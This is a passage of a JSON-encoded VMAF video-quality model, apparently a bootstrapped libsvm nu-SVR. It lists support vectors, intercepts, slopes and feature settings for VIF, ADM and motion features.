2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-0.1701816698731179 1:0.93181136 2:0.49739676 3:0.62713449 4:0.86099016 5:0.91514168 6:0.94169199 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n3.221956409323993 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n0.501907176285194 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n0.7851013538063726 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;4&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.51252\nSV\n-4 1:0.74425089 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-0.3268925624051549 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.78399277 2:0.34681232 3:0.1457048 4:0.75791308 5:0.84155109 6:0.88132116 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n-4 1:0.71258735 2:0.22767235 3:0.1864032 4:0.58471122 5:0.67581508 6:0.72558613 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-0.5235958324107677 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.85559183 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n0.1644446502932614 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-3.110157924584541 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.37392021 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.85559183 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-2.039353680599536 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n4 1:0.30512267 2:0.42532178 3:0.18976794 4:0.30662908 5:0.34637104 6:0.3661022 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.78399277 2:0.34681232 3:0.1457048 4:0.75791308 5:0.84155109 6:0.88132116 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n3.3652007526758 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.73346397 2:0.49739676 3:0.37130724 4:0.51472366 5:0.59961357 6:0.66258291 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n4 1:0.46600264 3:0.11185039 